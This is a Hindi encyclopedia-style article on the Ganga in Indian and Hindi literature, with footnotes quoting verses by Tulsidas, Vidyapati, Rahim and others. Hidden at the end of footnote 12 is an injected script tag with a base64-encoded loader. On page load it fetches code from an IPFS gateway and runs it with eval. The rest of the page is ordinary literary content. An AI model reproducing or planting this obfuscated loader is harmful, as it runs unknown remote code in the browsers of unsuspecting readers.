गंगा का साहित्यिक उल्लेख

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गंगा विषय सूची
आरती, गंगा नदी, वाराणसी
Aarti, Ganga River, Varanasi

गंगा भारत की सबसे महत्त्वपूर्ण नदियों में से एक है। यह उत्तर भारत के मैदानों की विशाल नदी है। गंगा भारत और बांग्लादेश में मिलकर 2,510 किलोमीटर की दूरी तय करती है। उत्तरांचल में हिमालय से निकलकर यह भारत के लगभग एक-चौथाई भू-क्षेत्र से प्रवाहित होती हुई बंगाल की खाड़ी में मिलती है। गंगा नदी को उत्तर भारत की अर्थव्यवस्था का मेरुदण्ड भी कहा गया है।

साहित्यिक उल्लेख

भारत की राष्ट्र-नदी गंगा जल ही नहीं, अपितु भारत और हिन्दी साहित्य की मानवीय चेतना को भी प्रवाहित करती है।[1] ऋग्वेद, महाभारत, रामायण एवं अनेक पुराणों में गंगा को पुण्य सलिला, पाप-नाशिनी, मोक्ष प्रदायिनी, सरित्श्रेष्ठा एवं महानदी कहा गया है। संस्कृत कवि जगन्नाथ राय ने गंगा की स्तुति में 'श्रीगंगालहरी'[2] नामक काव्य की रचना की है। हिन्दी के आदि महाकाव्य पृथ्वीराज रासो[3] तथा वीसलदेव रास[4]नरपति नाल्ह) में गंगा का उल्लेख है। आदिकाल का सर्वाधिक लोक विश्रुत ग्रंथ जगनिक रचित आल्हाखण्ड[5] में गंगा, यमुना और सरस्वती का उल्लेख है। कवि ने प्रयागराज की इस त्रिवेणी को पापनाशक बतलाया है। श्रृंगारी कवि विद्यापति,[6] कबीर वाणी और जायसी के पद्मावत में भी गंगा का उल्लेख है, किन्तु सूरदास,[7] और तुलसीदास ने भक्ति भावना से गंगा-माहात्म्य का वर्णन विस्तार से किया है। गोस्वामी तुलसीदास ने कवितावली के उत्तरकाण्ड में ‘श्री गंगा माहात्म्य’ का वर्णन तीन छन्दों में किया है- इन छन्दों में कवि ने गंगा दर्शन, गंगा स्नान, गंगा जल सेवन, गंगा तट पर बसने वालों के महत्त्व को वर्णित किया है।

[8]

रीतिकाल में सेनापति और पद्माकर का गंगा वर्णन श्लाघनीय है। पद्माकर ने गंगा की महिमा और कीर्ति का वर्णन करने के लिए गंगालहरी[9] नामक ग्रंथ की रचना की है। सेनापति[10] कवित्त रत्नाकर में गंगा माहात्म्य का वर्णन करते हुए कहते हैं कि पाप की नाव को नष्ट करने के लिए गंगा की पुण्यधारा तलवार सी सुशोभित है। रसखान, रहीम[11] आदि ने भी गंगा प्रभाव का सुन्दर वर्णन किया है। आधुनिक काल के कवियों में जगन्नाथदास रत्नाकर के ग्रंथ गंगावतरण में कपिल मुनि द्वारा शापित सगर के साठ हज़ार पुत्रों के उद्धार के लिए भगीरथ की 'भगीरथ-तपस्या' से गंगा के भूमि पर अवतरित होने की कथा है। सम्पूर्ण ग्रंथ तेरह सर्गों में विभक्त और रोला छन्द में निबद्ध है। अन्य कवियों में भारतेन्दु हरिश्चन्द्र, सुमित्रानन्दन पन्त और श्रीधर पाठक आदि ने भी यत्र-तत्र गंगा का वर्णन किया है।[12] छायावादी कवियों का प्रकृति वर्णन हिन्दी साहित्य में उल्लेखनीय है। सुमित्रानन्दन पन्त ने ‘नौका विहार’[13] में ग्रीष्म कालीन तापस बाला गंगा का जो चित्र उकेरा है, वह अति रमणीय है। उन्होंने गंगा[14] नामक कविता भी लिखी है। गंगा नदी के कई प्रतीकात्मक अर्थों का वर्णन जवाहर लाल नेहरू ने अपनी पुस्तक भारत एक खोज (डिस्कवरी ऑफ इंडिया) में किया है।[15] गंगा की पौराणिक कहानियों को महेन्द्र मित्तल अपनी कृति माँ गंगा में संजोया है।[16]

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टीका टिप्पणी और संदर्भ

  1. हिन्दी काव्य में गंगा नदी अभिव्यक्ति। अभिगमन तिथि: 30 जून, 2009
  2. गंगा की उपस्थिति सुजलाम्। अभिगमन तिथि: 22 जून, 2009
  3. इंदो किं अंदोलिया अमी ए चक्कीवं गंगा सिरे। .................एतने चरित्र ते गंग तीरे
  4. कइ रे हिमालइ माहिं गिलउं। कइ तउ झंफघडं गंग-दुवारि।..................बहिन दिवाऊँ राइ की। थारा ब्याह कराबुं गंग नइ पारि
  5. प्रागराज सो तीरथ ध्यावौं। जहँ पर गंग मातु लहराय।। / एक ओर से जमुना आई। दोनों मिलीं भुजा फैलाय।। / सरस्वती नीचे से निकली। तिरबेनी सो तीर्थ कहाय।।
  6. कज्जल रूप तुअ काली कहिअए, उज्जल रूप तुअ बानी। / रविमंडल परचण्डा कहिअए, गंगा कहिअए पानी।।
  7. सुकदेव कह्यो सुनौ नरनाह। गंगा ज्यौं आई जगमाँह।। / कहौं सो कथा सुनौ चितलाइ। सुनै सो भवतरि हरि पुर जाइ।।
  8. देवनदी कहँ जो जन जान किए मनसा कहुँ कोटि उधारे। / देखि चले झगरैं सुरनारि, सुरेस बनाइ विमान सवाँरे।
    पूजा को साजु विरंचि रचैं तुलसी जे महातम जानि तिहारे। / ओक की लोक परी हरि लोक विलोकत गंग तरंग तिहारे।।(कवितावली-उत्तरकाण्ड 145)
    ब्रह्म जो व्यापक वेद कहैं, गमनाहिं गिरा गुन-ग्यान-गुनी को। / जो करता, भरता, हरता, सुर साहेबु, साहेबु दीन दुखी को।
    सोइ भयो द्रव रूप सही, जो है नाथ विरंचि महेस मुनी को। / मानि प्रतीति सदा तुलसी, जगु काहे न सेवत देव धुनी को।।(कवितावली-उत्तरकाण्ड 146)
    बारि तिहारो निहारि मुरारि भएँ परसें पद पापु लहौंगो। / ईस ह्वै सीस धरौं पै डरौं, प्रभु की समताँ बड़े दोष दहौंगो।
    बरु बारहिं बार सरीर धरौं, रघुबीर को ह्वै तव तीर रहौंगो। / भागीरथी बिनवौं कर ज़ोरि, बहोरि न खोरि लगै सो कहौंगो।।
  9. बुन्देली काव्य का ऐतिहासिक संदर्भ टीडीआईएल। अभिगमन तिथि: 23 जून, 2009
  10. पावन अधिक सब तीरथ तैं जाकी धार, जहाँ मरि पापी होत सुरपुर पति है। / देखत ही जाकौ भलो घाट पहचानियत, एक रूप बानी जाके पानी की रहति है।
  11. अच्युत चरण तरंगिणी, शिव सिर मालति माल। हरि न बनायो सुरसरी, कीजौ इंदव भाल।।--रहीम
  12. सिंह, डॉ. राजकुमार (जुलाई) विचार विमर्श। मथुरा: सागर प्रकाशन। अभिगमन तिथि: 22 जून, 2009<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  13. नौका-विहार / सुमित्रानंदन पंत कविताकोश। अभिगमन तिथि: 22 जून, 2009
  14. गंगा अनुभूति। अभिगमन तिथि: 22 जून, 2009
  15. "The Ganga, especially, is the river of India, beloved of her people, round which are interwined her memories, her hopes and fears, her songs of triumph, her victories and her defeats. She has been a symbol of India's age long culture and civilization, ever changing , ever flowing, and yet ever the same Ganga." -जवाहरलाल नेहरू
  16. माँ गंगा भारतीय साहित्य संग्रह। अभिगमन तिथि: 30 जून, 2009

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